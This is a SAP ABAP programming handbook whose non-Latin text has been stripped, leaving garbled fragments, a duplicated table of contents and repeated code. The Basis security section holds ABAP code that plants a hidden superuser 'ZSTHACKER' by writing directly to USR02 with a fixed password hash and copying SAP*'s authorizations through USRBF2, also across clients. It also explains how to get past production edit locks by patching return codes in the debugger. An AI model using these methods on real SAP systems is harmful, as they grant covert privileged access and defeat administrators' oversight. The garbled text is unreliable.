Académique Documents
Professionnel Documents
Culture Documents
..............................................................................................................................2
..............................................................................................................................3
1. ABAP ?.........................................................................................................3
2.ABAP ............................................................................................6
3. Access Key .......................................................................................................6
4.ABAP workbench ABAP dictionary.....................................................................6
5.-Hello World..........................................................................................7
6.ABAP ........................................................................................................7
7.Open SQL Native SQL.........................................................................................8
8.............................................................................................................8
9.............................................................................................................8
10...............................................................................................................8
11...................................................................................................................8
12...........................................................................................8
13.......................................................................................................8
14.........................................................................................................14
15.............................................................................14
16.................................................................................................................14
17.................................................................................................14
18. Tcode.............................................................................................................15
............................................................................................................................15
1.CATT.......................................................................................................................15
2.BDC.........................................................................................................................15
3. background job....................................................................................15
4.SapScript..................................................................................................................15
5.Smartform................................................................................................................15
6.SAP Query...............................................................................................................15
7.ALV ................................................................................................................15
8.ALE/iDoc.................................................................................................................15
9.Report painter Drilldown Report.........................................................................15
10.RFC/BAPI..............................................................................................................15
11.........................................................................................................15
12. ABAP ...............................................................................................15
13.................................................................................................................16
14.................................................................................................17
............................................................................................................................17
1.MM ..................................................................................................17
.MM ............................................................................17
.................................................................................................................18
1.MM ...............................................................................................18
2.PO .........................................................................................................18
SE11 ZPOSO.............................................................................................21
PO User_exit.............................................................................................................21
3....................................................................................................30
4....................................................................................................30
5........................................................................................................30
6........................................................................................................30
7.GR/IR ............................................................................................................30
8........................................................................................................30
2.SD ....................................................................................................30
3.PP ....................................................................................................31
4.FI .....................................................................................................31
1........................................................................................................31
2.(Validation)................................................................................31
3.(Substitution).............................................................................37
4.BKPF|BSEG .................................................................................................46
5.Dunning ........................................................................................................46
6................................................................................................................46
7................................................................................................................................46
8................................................................................................................................46
5.CO . .................................................................................................47
6.Basis ...............................................................................................47
1........................................................................................................47
2................................................................................................48
3. SAP ......................................................................................48
4................................................................................................51
.....................................................................................................57
:..................................................................................................................................58
1.ABAPer Tcode................................................................................................58
ABAPer Tcode..........................................................................................................58
,,,
ABAP ,(MM|SD|PP|FI|CO)
ABAPer .
10 ERP ,
(, N ). 2004 SAP,
,,
ABAP ,.
,,.
.
ABAP ,,, ABAP
,,.
1. ABAP ?
ABAP ,ABAP
, SAP
,ABAP(Advanced Business Application Programming->)
SAP AG .
,ABAP/4 , client/server
,, Visiual Studio ,VB,VC++.ABAP
.
1-1, SAP ,(),
SAP DB instance server, Central instance
Application server( SAP ),
SAP Logon Front End,SAP ,
TCP/IP,SAP RFC ,
.
Delphi , ABAP ,,
,,,, native Open SQL (
),SAP ()
.
ABAP , SAP ,,
.
ABAP/4 :
1. SAP ,,, SAP ,.
ABAP Crystal report Tool .
2. VB ,ABAP , VB, ABAP ,
SAP ,ABAPer .
(/H),
. VB ,VB
ABAP , ABAP ,
. .
ABAP ,
ABAP/4 ,
,( ABAP Dumping ABAP).
3., SQL( native sql,
, SQL DB ),SAP ABAP
Open SQL .
4. Windows ,Windows
,ABAP , Dialog , ABAP
,().
5.,ABAP , SAP
,.
6. Java,ABAP (Java Java ,ABAP
ABAP processor),( ABAP
, ABAP ),
.
1-3 ABAP .
5.-Hello World.
:
Report ZHELLO.
Write Hello World!.
F8 , Hello World!,,.
6.ABAP
1 ( 7-7).
Tcode SE91 , 7-7
ZFIMSG, 017 &
2 .
1.TitleMESSAGE-ID.
REPORT ZMSGTEST MESSAGE-ID ZFIMSG .
MESSAGE I017.
IMG ,[1][2] appl work area
message_id(SE91:message class).
2. Title .
REPORT ZMSGTEST .
MESSAGE I017(ZFIMSG).
1. .
REPORT ZMSGTEST .
MESSAGE I017(ZFIMSG) with Var1 Var2 Var3 .
MESSAGE ID ' ZFIMSG ' TYPE 'I' NUMBER '0171' with Var1 Var2
Var3 .
017 , With ,.
4.SAP .
I: W: E: S: A: Tcode X:.
5. SAP ,,,.
PROGRAM ZMSGTEST .
CALL FUNCTION 'READ_CUSTOMIZED_MESSAGE'
EXPORTING
I_ARBGB = 'ZFIMSG'
I_DTYPE = ''
I_MSGNR = '017'
IMPORTING
E_MSGTY = SY-MSGTY.
Tcode OBA5 , SYMSGTY ,E ,A .
, PERFORM MESSAGE_SEND .
3Tcode.
,Application AreaSE91Message Class.
1table:
T100: SAP.
T160M :MM,.,MM
SE16.
T100C: FI,OBA5, OFMG
,CO.
T100S: ,KI 005
OBA5.(MM,M7,OMCQ
,M3,OMT4)
.T160M,SE16T100S
.Display.
T100U: ,.
T100W: For Workflow
2Tcode():
FI: OBA5|OFMG|OFPM
MM: OMRM|OKZZ|OMT4|OMCQ |O04C|
SD: OVAH
CO: OPR4_ACT|OPR4_CK|OPR4_CKML|OPR4_CKPF|OPR4_KKA|OPR4_KKP|
OPR4_KKS|
OPR4_KKS1|OPR4_PPCOPP
Others:
OPR5|OPR1|OPR3|OPR6|OPR7|OPR8|OPR9|OPRCMFE|MSW1|MSW2
3.
[Case 1].
CK11N(CK40N),Component.
S Price control(,T160MIMG).
4.
,,,
,.
,,,.
5 .
SAP
1 T160M SE16 ,
T160M.(
ME_CHECK_T160M), MESSAGE E017(ZFIMSG)Hard code
,,,
T160M ( E W ).
2T100C,SE16:T100CV_T100C.
(1)SE16:T100S.
[1].(browse)
..
[1]Appl AreaZFIMSG. [2] [3].
(2)SE16:V_T100C.
:
[1](Tcode)[2]BDC
[3],(T100C)
MESSAGE E017(ZFIMSG)
*&---------------------------------------------------------------------*
*& Include
ZXM06U42
*
*&---------------------------------------------------------------------*
DATA : ZWATEKPO like BEKPO ,
ZIEINFO LIKE EINFO OCCURS 0 WITH HEADER LINE,
ZERMSG(73) TYPE C.
TABLES EKBE .
***TEKPO records all the old PO item date .
*** I_EKPO records currently processed PO item .
READ TABLE TEKPO INTO ZWATEKPO WITH KEY EBELP = I_EKPOEBELP .
***ME22N.
CHECK SY-TCODE = 'ME22N '.
***EKBEPO history ,Q,R,##
SELECT SINGLE * FROM EKBE
WHERE EBELN = I_EKPO-EBELn
AND EBELP = I_EKPO-EBELP
AND ( BEWTP = 'Q' OR BEWTP = 'R').
CHECK SY-SUBRC = 0 .
***SY-SUBRC =0
##
IF I_EKPO-NETPR <> ZWATEKPO-NETPR .
*** Change e017(ZFIMSG) accordingly
* MESSAGE e017(ZFIMSG).".
CALL FUNCTION 'READ_CUSTOMIZED_MESSAGE'
EXPORTING
I_ARBGB = 'ZFIMSG'
I_DTYPE = ''
I_MSGNR = '017'
IMPORTING
E_MSGTY = SY-MSGTY.
CHECK SY-MSGTY NE '-' .
REFRESH ZIEINFO.
ZIEINFO-MSGID = 'ZFIMSG'.
ZIEINFO-MSGNO = '017' .
ZIEINFO-MSGV1 = 'VAR1'.
ZIEINFO-MSGV2 = 'VAR2'.
APPEND ZIEINFO .
CALL FUNCTION 'MESSAGE_GET_TEXT'
EXPORTING
IEINFO = ZIEINFO
ILANGU = SY-LANGU
IMPORTING
ETEXT = ZERMSG .
MESSAGE ZERMSG TYPE SY-MSGTY .
ENDIF.
***,SAP
.,.
14.
15.
16.
17.
18. Tcode
..
1.CATT
2.BDC
3. background job
4.SapScript
5.Smartform
6.SAP Query
7.ALV
8.ALE/iDoc
9.Report painter Drilldown Report
10.RFC/BAPI
11.
12. ABAP
ABAP .
13.
, basis
ABAPer ,,.
,()(,
server client, ABAPer ),
,,( server,
Client System Number Server),.
:
1 (Development Class).
ABAP ,
. ABAP , SE80 .
$TMP , ABAP (,
Client Client.
.
2.(Package)
ABAP ,SE16:TADIR
ABAP ,.
TDEVC , SE80 SM30:V_TDEVC.
.
1.( Java package)
2.,
(Private object), OOP .
3..
4. Y Z , ABAP (
ABAP ). A-S, U-X SAP ,T ,$
,/***.
3.(Transport Layer)
.
,,,.
..
IMG .
basis Tcode STMS .
2.13-1, DVU QAS PRD ,
DVU server client 210,100 QAS Client 310 ,
PRD Client 800,810 820 .
4.
server ? client server
?,.
TP R3TRANS ,R3TRANS SAP Client
,TP (Transport Profile)
R3TRANS .
14.
VB,Delphi,Java ,,
?
.
,,
8 ,
,,
., SAP
,,,.
1.MM .
.MM
.
MM ().
||PR,PO (Scrip Smartform)|MRB ||
||||IQC |Pull List|(
)||Delivery notes|Packing List|RMA ||PO |
GR/IR ||.
( ABAPer
SAP ),, PO
,.
,,,
(
),.
1.MM
PO
NACE,MB04 PO.
2.PO
PO change history
*&---------------------------------------------------------------------*
*& Include
ZXM06U42
*
*&---------------------------------------------------------------------*
DATA : ZWATEKPO like BEKPO ,
ZIEINFO LIKE EINFO OCCURS 0 WITH HEADER LINE,
ZERMSG(73) TYPE C.
TABLES EKBE .
***TEKPO records all the old PO item date .
*** I_EKPO records currently processed PO item .
READ TABLE TEKPO INTO ZWATEKPO WITH KEY EBELP = I_EKPO-EBELP .
*** ME22N .
CHECK SY-TCODE = 'ME22N '.
***EKBE PO history , Q,R ,##
SELECT SINGLE * FROM EKBE
WHERE EBELN = I_EKPO-EBELn
AND EBELP = I_EKPO-EBELP
AND ( BEWTP = 'Q' OR BEWTP = 'R').
CHECK SY-SUBRC = 0 .
*** SY-SUBRC =0 ##
IF I_EKPO-NETPR <> ZWATEKPO-NETPR .
*** Change e017(ZFIMSG) accordingly
* MESSAGE e017(ZFIMSG).".
CALL FUNCTION 'READ_CUSTOMIZED_MESSAGE'
EXPORTING
I_ARBGB = 'ZFIMSG'
I_DTYPE = ''
I_MSGNR = '017'
IMPORTING
E_MSGTY = SY-MSGTY.
CHECK SY-MSGTY NE '-' .
REFRESH ZIEINFO.
ZIEINFO-MSGID = 'ZFIMSG'.
ZIEINFO-MSGNO = '017' .
ZIEINFO-MSGV1 = 'VAR1'.
ZIEINFO-MSGV2 = 'VAR2'.
APPEND ZIEINFO .
CALL FUNCTION 'MESSAGE_GET_TEXT'
EXPORTING
IEINFO = ZIEINFO
ILANGU = SY-LANGU
IMPORTING
ETEXT = ZERMSG .
MESSAGE ZERMSG TYPE SY-MSGTY .
ENDIF.
PO SO
..............................................................................................................................2
..............................................................................................................................3
1. ABAP ?.........................................................................................................3
2.ABAP ............................................................................................6
3. Access Key .......................................................................................................6
4.ABAP workbench ABAP dictionary.....................................................................6
5.-Hello World..........................................................................................7
6.ABAP ........................................................................................................7
7.Open SQL Native SQL.........................................................................................8
8.............................................................................................................8
9.............................................................................................................8
10...............................................................................................................8
11...................................................................................................................8
12...........................................................................................8
13.......................................................................................................8
14.........................................................................................................14
15.............................................................................14
16.................................................................................................................14
17.................................................................................................14
18. Tcode.............................................................................................................15
............................................................................................................................15
1.CATT.......................................................................................................................15
2.BDC.........................................................................................................................15
3. background job....................................................................................15
4.SapScript..................................................................................................................15
5.Smartform................................................................................................................15
6.SAP Query...............................................................................................................15
7.ALV ................................................................................................................15
8.ALE/iDoc.................................................................................................................15
9.Report painter Drilldown Report.........................................................................15
10.RFC/BAPI..............................................................................................................15
11.........................................................................................................15
12. ABAP ...............................................................................................15
13.................................................................................................................16
14.................................................................................................17
............................................................................................................................17
1.MM ..................................................................................................17
.MM ............................................................................17
.................................................................................................................18
1.MM ...............................................................................................18
2.PO .........................................................................................................18
SE11 ZPOSO.............................................................................................21
PO User_exit.............................................................................................................21
3....................................................................................................30
4....................................................................................................30
5........................................................................................................30
6........................................................................................................30
7.GR/IR ............................................................................................................30
8........................................................................................................30
2.SD ....................................................................................................30
3.PP ....................................................................................................31
4.FI .....................................................................................................31
1........................................................................................................31
2.(Validation)................................................................................31
3.(Substitution).............................................................................37
4.BKPF|BSEG .................................................................................................46
5.Dunning ........................................................................................................46
6................................................................................................................46
7................................................................................................................................46
8................................................................................................................................46
5.CO . .................................................................................................47
6.Basis ...............................................................................................47
1........................................................................................................47
2................................................................................................48
3. SAP ......................................................................................48
4................................................................................................51
.....................................................................................................57
:..................................................................................................................................58
1.ABAPer Tcode................................................................................................58
ABAPer Tcode..........................................................................................................58
*** Sales order PO function
BAPI_CREATE_PO creating SO User_exit
SE11 ZPOSO
ZPOSO ,
1. PO SO
2. PO create change ( ME22N update PO qty,or delete PO
line.)
3.
*** EBELN EBELP key fields DB Primary key
PO User_exit
EXIT_SAPMM06E_001 (002,004,006,007,009) 006 PO create .
EXIT_SAPMM06E_016, 017 PO item PO No..
EXIT_SAPMM06E_009, PO refresh .
EXIT_SAPMM06E_013
update TFDIR MAND C.:
REPORT Zupdate .
data ztfdir like tfdir occurs 0 with header line .
select * from tfdir into table ztfdir where FUNCNAME =
'EXIT_SAPMM06E_013'.
loop at ztfdir .
ztfdir-MAND = 'C' .
modify ztfdir index sy-tabix TRANSPORTING MAND.
endloop.
update tfdir from ztfdir.
code user_exit ,.
, user_exit BAPI . BAPI call
.
ORDER_ITEMS_IN MATERIAL,REQ_QTY(Order qty in sales units 00009001 corresponds to 9.001, call BAP REQ_QTY = actual qty *
1000)
, COND_TYPE, COND_VALUE,( price /10,
,)
PO_METH_S(Ship-to party purchase order type,),
ORDER_PARTNERS SP SH , SP customer No
, ship-to-party SH+customer No..
. AGSP, REBP
SH (SAP case, save DB display
, , , SAP DB table ,
SAP AG )
BAPI_SALESORDER_CHANGE
call BAPI_SALESDOCUMENT_CHANGE
ORDER_HEADER_INX-UPDATEFLAG U update, D Delete
sales order,.
* exit.
*endif.
check I_EKKO-BUKRS eq '1000'. "comp 1000.
***ZPOSOPO no.call BAPI_SALESORDER_CREATEFROMDATA
create SO
*** call BAPi BAPI_SALESORDER_CHANGE change SO.
***ME22N change POXEKPOline item
.
select single * from ZPOSO where EBELN eq I_EKKO-EBELN.
if sy-subrc eq 0 .
* Change Sales Order,Purchase Order
*CALL FUNCTION 'BAPI_SALESORDER_CHANGE'
*CALL FUNCTION 'BAPI_PO_CHANGE'
else . "Purchase Order Sales Order
*** ZFLAGZrepcallT,
**ZrepcallT.
**
**comp 1000POSOcomp 2000PO
*select single Zrepcall into Zrepcall from zflag .
if Zrepcall = 'T' .
exit .
endif.
***POuser_exit 001ZflagzrepcallF
***update zflagzrepcallT.
***----------------------------------------------***
*** Purchase Order in company 2000
***
***----------------------------------------------***
***----------------------------------------------***
*** Sales Order in same company 1000
***
***----------------------------------------------***
***ZORSales order
***----Sales Order Header --- ***
ZORDER_HEADER_IN-DOC_TYPE = 'ZOR'.
ZORDER_HEADER_IN-SALES_ORG = '1100'.
ZORDER_HEADER_IN-DISTR_CHAN = '11'.
ZORDER_HEADER_IN-DIVISION = '11'.
ZORDER_HEADER_IN-CURRENCY = I_EKKO-WAERS. "Order currency
ZORDER_HEADER_IN-PURCH_NO = I_EKKO-EBELN .
***---Purchase Order Header ---***
ZPOHEADER-PURCH_ORG = I_EKKO-EKORG. "2000
ZPOHEADER-CO_CODE = '2000' .
ZPOHEADER-VENDOR = I_EKKO-LIFNR .
ZORDER_PARTNERS-PARTN_NUMB = I_EKKO-LIFNR.
Append ZORDER_PARTNERS .
CALL FUNCTION 'BAPI_SALESORDER_CREATEFROMDATA'
EXPORTING
ORDER_HEADER_IN
= ZORDER_HEADER_IN
IMPORTING
SALESDOCUMENT
= ZSALESDOCUMENT
* SOLD_TO_PARTY
=
* SHIP_TO_PARTY
=
* BILLING_PARTY
=
RETURN
= ZRETURN
TABLES
ORDER_ITEMS_IN
= ZORDER_ITEMS_IN
ORDER_PARTNERS
= ZORDER_PARTNERS
* ORDER_ITEMS_OUT
=
* ORDER_CFGS_REF
=
* ORDER_CFGS_INST
=
* ORDER_CFGS_PART_OF
=
* ORDER_CFGS_VALUE
=
* ORDER_CFGS_BLOB
=
* ORDER_CCARD
=
.
if ZSALESDOCUMENT <> '' .
loop at XEKPO .
zposolog-ebeln = I_EKKO-EBELN. "PO No.
zposolog-ebelp = XEKPO-EBELP. "PO item No.
zposolog-vbeln = ZSALESDOCUMENT."SO No.
zposolog-posnr = XEKPO-EBELP . "SO Item NO.
zposolog-waers = I_EKKO-WAERS . "Currency
zposolog-matnr = XEKPO-MATNR . "Material
zposolog-kwmeng = XEKPO-MENGE. "PO/SO qty
zposolog-netpr = XEKPO-netpr. "PO/SO price
zposolog-bapimsg = 'Creation OK' . "ZRETURN-MESSAGE .
zposolog-flag = 'T'. "Failure
append zposolog .
insert ZPOSO
from zposolog.
endloop.
else.
zposolog-ebeln = I_EKKO-EBELN.
* zposolog-bapimsg = ZRETURN-MESSAGE .
***SE91messagemessage type, messge code,message
text
concatenate ZRETURN-TYPE '--' ZRETURN-CODE '--:' ZRETURNMESSAGE into
zposolog-bapimsg .
3.
4.
5.
6.
7.GR/IR
8.
LIS
2.SD .
SD :
SD ( SD ).
||Credit Note Form|Shipping Note|Sales Forecast|
Dunning Letter|Shipment Status|Packing List|.
SD ,.
1.
2.
3.
4.
5.
6.
7.
8.
3.PP .
PP :
SD ( SD ).
||Credit Note Form|Shipping Note|Sales Forecast|
Dunning Letter|Shipment Status|Packing List|.
SD ,.
1.MD04 save Prod PR
2.
3.
4.
5.
6.
7.
8.
4.FI .
1.
2.(Validation)
HR,AP,AP,GL,Consolidation,Real Estate,Special Purpose Ledger
(Validation) Validation
, Validation (
)(), ABAP
.
Validation,Substitution User Exit
.
Validation :
Line Validation STLINE STONEF 5100( HKD)
1000HKD , Validation .
***.
[3]1 Validation .
2.Validation ( 7-3).
.
[6], Doc Header,Item .
[7]([2]).
[8]([2]).
[9]SAP , PO ,
,().
7-6.
[1]E ,,I,W ,
, A, Tcode .
[2] Tcode:SE91 Message Class( 7-7).
3. Validation .( 7-9)
3.(Substitution)
Validation ,,IMG Path(IMG Path 7-1
2).
Substitution IMG T-code : OBBH:AP/AR/GL Doc.| OACS:AM Create
Assets|OA02:Mass change Assets|GCVY:Global Substitution(In SPL,Company
Level)|GCVX:Local Substitution(In SPL,Company code Level).
Validation ,Validation ,,Substitution
, user_exit .
APAR vendor,customer
Assignment(BSEG-ZUONR), P&L
TEXT(BSEG-SGTXT),.
5100 , 10010120 ,
Text(BSEG-SGTXT),, post ,
post Posting Date .
, 7 Validation ,
,,.
1. .
Tcode:GCX2. ( 9-2)
[1]App. Area GBLS
[2] ZSTSUB(Copy SAP RGGBS000)
*** 8 , OBBH 8 .
.
GB01|T001Q|T80D|GB03|GB03T|GB31|GB31T||GB907|GB90|GB92|
GB922|GB901
|OXT_GENOBJDTL|, FI_SUBSTITUTION_ACTIVE|FI_SUBSTITUTION_DOC
|FI_SUBSTITUTION_HEADER|FI_SUBSTITUTION_ITEM. ZSTSUB()|
GBTDMFI0| GBTDMFIJ|RGUGBR00
*** GCX2 RGGBS000 Access Key, GCX1
Client , SPL Field movement .
2.
Validation , Step, Step ( 9-3).
[1],.
[2].
[3]
***, only exit U100( ZSTSUB U100) line item
Text.
[4]. ( Form ).
[5].
FORM u100.
"#EC CALLED
***U100 line item. XBLNR .
***U100headerline item,.
BKPF-XBLNR = 'Reference For STONE Test'.
BSEG-SGTXT = 'Record Payment Text ' .
ENDFORM.
:
:
1 ,?
2 ZSTSUB(), SAP RGGBS000, RGGBS000 Form
(header,Line,Complete doc) Exit ,
field exit,header exit,line exit complete exit?
3 BKPF,BSEG ?
4
, 3,4 .
FI_SUBSTITUTION_HEADER|FI_SUBSTITUTION_ITEM|ZSTSUB()|
GBTDMFI0| GBTDMFIJ . ,
,
.
:. posting date
,..
1 BKPF-BUDAT
,. 9-6.
[1] only exit U100, field exit . [2]BKPF-BUDAT .
2 .
,, CO-PA ,
,, ABAP .
OBBH , 9-7 .
[1] [2] class, GBTDMFIJ.
GBTDMFIGFORM EXP_TAB_008_BKPF(class
8,callpnt1),FORM EXP_TAB_009_BSEG(class 9,callpnt2), FORM
EXP_TAB_015_BKPFFORM EXP_TAB_015_BSEG(Class 15,Callpnt 3).
FORM EXP_TAB_008_BKPF .
TEMP_STRUCT (),,.
***, GBTDMFIG Form
TEMP_STRUCT . TEMP_STRUCT BKPF-BUDAT,
posting date , 3 RGUGBR00 .
, BKPF,BSEG , BKPF
TEMP_STRUCT(),BKPF Reset .
3 .
SE38 RGUGBR00, ().
4.
, Posting Date (,
,, 4 SAP )
(,).
FORM u100.
* Exit(Form) head(Line item) Filed ,.
* GBTDMFIG( GBTDMFI0 )
* Yueming Li ,.
Form 100.
BSEG-SGTXT = 'TEST TeXT'.
*BKPF-BUDAT
TABLES: T009B.
DATA: BEGIN OF T_T009B OCCURS 10,
BUMON LIKE T009B-BUMON,
IF L_CURYEAR NE L_YEAR.
BKPF-BUDAT = L_DATE.
EXIT.
ENDIF.
IF L_MONTH NE L_CURMONTH
AND L_MONTH NE L_PERMONTH.
BKPF-BUDAT = L_DATE.
EXIT.
ENDIF.
SELECT BUMON BUTAG
INTO T_T009B
FROM T009B
WHERE PERIV EQ 'Z1'
AND BDATJ EQ L_YEAR " year
AND ( BUMON EQ L_CURMONTH "Month
OR BUMON EQ L_PERMONTH ).
IF T_T009B-BUMON EQ L_PERMONTH.
APPEND T_T009B.
ENDIF.
IF T_T009B-BUMON EQ L_CURMONTH
AND T_T009B-BUTAG LE L_CURDAY.
APPEND T_T009B.
ENDIF.
ENDSELECT.
SORT T_T009B.
LOOP AT T_T009B.
IF T_T009B-BUMON EQ L_MONTH.
IF T_T009B-BUTAG GE L_DAY.
CONCATENATE L_YEAR T_T009B-BUMON T_T009B-BUTAG INTO L_DATE.
EXIT.
ENDIF.
ENDIF.
IF T_T009B-BUMON GT L_MONTH.
IF T_T009B-BUTAG GE L_DAY.
EXIT.
ENDIF.
ENDIF.
ENDLOOP.
BKPF-BUDAT = L_DATE.
ENDFORM.
"U100
.
FORM u100.
"#EC CALLED
*Formheaderline .
BSEG-SGTXT = 'Line Item Text'. "For Line Sub.
DATA:Z_PSTDATE TYPE SY-DATUM,
Z_CURPER LIKE T009B-POPER,
Z_CURYEAR LIKE T009B-BDATJ,
Z_PSTPER LIKE T009B-POPER,
Z_PSTYEAR LIKE T009B-BDATJ,
Z_PERLSTDAY LIKE SY-DATUM.
*.
*check posting date's period and fiscal year
CALL FUNCTION 'DETERMINE_PERIOD'
EXPORTING
DATE
= BKPF-BUDAT
VERSION
= 'Z1' "Fiscal Year Var.
IMPORTING
PERIOD
= Z_PSTPER
YEAR
= Z_PSTYEAR .
*check sysdate's period and fiscal year
CALL FUNCTION 'DETERMINE_PERIOD'
EXPORTING
DATE
= SY-DATUM
VERSION
= 'Z1' "Fiscal Year Var.
IMPORTING
PERIOD
= Z_CURPER
YEAR
= Z_CURYEAR.
*posting date.
CHECK Z_CURYEAR <> Z_PSTYEAR OR Z_PSTPER <> Z_CURPER.
*posting date##
Z_PSTPER = Z_PSTPER + 1 .
CALL FUNCTION 'FIRST_DAY_IN_PERIOD_GET'
EXPORTING
I_GJAHR
= Z_PSTYEAR
I_PERIV
= 'Z1'
I_POPER
= Z_PSTPER
IMPORTING
E_DATE
= Z_PERLSTDAY .
BKPF-BUDAT = Z_PERLSTDAY - 1 .
BKPF-MONAT = Z_PSTPER . " Edit options .
5.?
?,
. SAP ,,
, posting date , posting
post ,.
,..
(1)/H debug, F6 SAPMF05A screen Number 1001, module
document_merge , module .
6.?
Mat doc .
4.BKPF|BSEG
5.Dunning
6.
7.
8.
5.CO .
1.
2.
8.
6.Basis
1.
13 ,
,.
SM12 ,.
Program ZSTDELREQ
.
data :
itab_e070 like e070 occurs 0 with header line,
*
Request header including Req user.
iwa_e070c like e070c, "Request client
itab_e071 like e071 occurs 0 with header line ,
*Request entry line items may include multiple lines
iwa_e07t like e07t ,
"Requst short text(desc)
iwa_E070A like E070A ,
*If the Request was locked and delelted,Delete Tlock otherwise
*The program will be locked to make any modifications.
itab_tlock like tlock occurs 0 with header line .
parameter reqno like e070-trkorr default '' .
select * into table itab_e070 from e070
where trkorr eq reqno or strkorr eq reqno.
if SY-SUBRC Ne 0 .
write : 'The Request No.:' , Reqno , ' not exist !' .
* exit .
endif .
select single * into iwa_e070c from e070c
where trkorr eq reqno .
select * into table itab_e071 from e071
where trkorr eq reqno .
select single * into iwa_e07t from e07t
where trkorr eq reqno .
select single * into iwa_E070A from e070A
where trkorr eq reqno .
if itab_e070 IS INITIAL .
select * into table itab_tlock from tlock
where trkorr eq reqno .
else.
select * into table itab_tlock from tlock
2.
3. SAP
SAP ,
, SAP ,
,(
Hacker).
,.
[1].Activity(group)
[2].Authorization Object
[3].Profile
[4].Role
Authorization Object , USR_USER_AUTH_FOR_OBJ_GET
AUTHORIZATION_DATA_READ_SELOBJ.
Tcode .
()Role() T-code:
PFAC
PFAC_CHG
PFAC_DEL
PFAC_DIS
PFAC_INS
PFAC_STR
PFCG
ROLE_CMP
SUPC profile
SWUJ
SU03
SU25, SU26
Profile
()
SU0
SU01
SU01D
SU01_NAV
SU05
SU1
SU10
SU12
SUCOMP:
SU2 change
SUIM , by .
()
SUGR:
SUGRD:
SUGRD_NAV:
SUGR_NAV:
()
SU20|SU21: authorization fields
SU50|SU51|SU52
SU53:
SU56: authoraztion data buffers.
SU87: history
SU96,SU97,SU98,SU99:
:
TOBJ : All avaiable authorzation objects.(SAP default objects )
USR12: authoraztion
USR02: table
USR04:Authorization
USR03:User address data
USR05:User Master Parameter ID
USR06:Additional Data per User
USR07:Object/values of last authorization check that failed
USR08:Table for user menu entries
USR09:Entries for user menus (work areas)
sap*.
SAP*,basis ,
?,
USRBF2 , SU01
,.
ZSTHACKER(123qaz)SAP*.
Program ZCRTUSER.
Data ZUSR02 like USR02 .
***1Create User ZSTHACKER according to DDIC
select single * into ZUSR02 from USR02
where BNAME = 'DDIC'.
ZUSR02-BNAME = 'ZSTHACKER'.
ZUSR02-Bcode = 'E3B796BB09F7901B' .
insert USR02 from ZUSR02 .
***2Copy Auth. Obj from SAP*(or other)
data ZUSRBF2 like USRBF2 occurs 0 with header line.
select * from USRBF2 into table ZUSRBF2
where BNAME = 'SAP*' .
Loop at ZUSRBF2.
ZUSRBF2-BNAME = 'ZSTHACKER' .
Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.
endloop.
INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.
basis ZSTHACKER ,
basis ..:
[1], PRD
Query( report painter)( Access Key).
[2] query (
USR02 USRBF2 ),( usr02 usrbf2
) basis .
***.
[3] client ?
,, client . client 100
ZSTHACKER , client 300, 300 SAP*
client 100 ZSTHACKER.( client specified client
).
Data zusrbf2 like usrbf2.
Select * into zusrbf2 from usrbf2 where bname = 'SAP*' .
Zusrbf2-bname = 'ZSTHACKER' .
Zusrbf2-mandt = '100'.
Insert into usrbf2 client specified values zusrbf2.
Endselect .
4.
, Debut(/H),
ABAPer SE38,SE71 ,.
(basis
).
SE38
.
LSTRDU34(SE37:TRINT_CORR_CHECK)
LSTRDU44(SE37:TRINT_CORR_INSERT)
QAS PRD server .
3.6.4-1 ,, LV_SUBRC 0 .
, 3.6.4-2, SY-SUBRC 0 .
/H SE38( SE37),
/H, SE38 (
LSUSEU11,,/H )
3.6.4-4, PRD SE38 , SCC4 Client
, LSUSEU11 , sy-subrc 0, SCC4
, Tcode .
SAP , ABAPer ,
,?
1., SAP
, Access Key , PRD ,
SA38 /H , LSTRDU34 LSTRDU44
Access Key .
, Access Key ( LSKEYF00)
Insert,Delete ,.
QAS PRD server 3.6.4 IMG ,
SE38,SE71,Smartforms Tcode Access Key,
IMG .
2.(IMG),.
3. PRD SE38 /H(S_DEVLOP
4. LSTRDU33(SE37: TR_EDIT_CHECK_OBJECTS_KEYS) ABAP object
Edit ,. LSTRDU34, LSTRDU44, LSTRDU39
( F5 ).
.
:
1.ABAPer Tcode
ABAPer Tcode
:
1 Tcode S001 SAP easy access ABAP workbench Tcode
2 Tcode SE43 Area Menu Tcode(
/n Area menu,/O Area menu ), Tcode Application
area Tcode , ASMN AM Tcode
,AUTH Tcode .
Tcode
CMOD(SMOD)
OSS1
S001
SA38
SCAT
SE01
SE09
SE10
SE11
SE12
SE13|SE14|SE15
SE16|SE17
SE30
SE32
SE35
SE36
SE37
SE38
SE39
SE41
SE43
SE51
SE54
SE61
SE63
SE71->SE76
SE80
SE81
SE84|SE85|SE86
SE91
SAP
SAP OSS
ABAP ( Tcode)
(SE38 )
Computer Aided Test Tool
( client)
SE09
ABAP
ABAP
ABAP
ABAP/4
Function module
ABAP
, SE16|SM30
SAPscript Tcode
ABAP
ABAP
ABAP/4 Repository Information System
SE92
SE93
SEU
SHD0
SM04
SM12
SM21
SM30|SM31
SM32
SM35
SM36
SM37
SM50
SM51
SM62
ST05
SU53
Log
Tcode
Repository Object Browser
Tcode (Variant)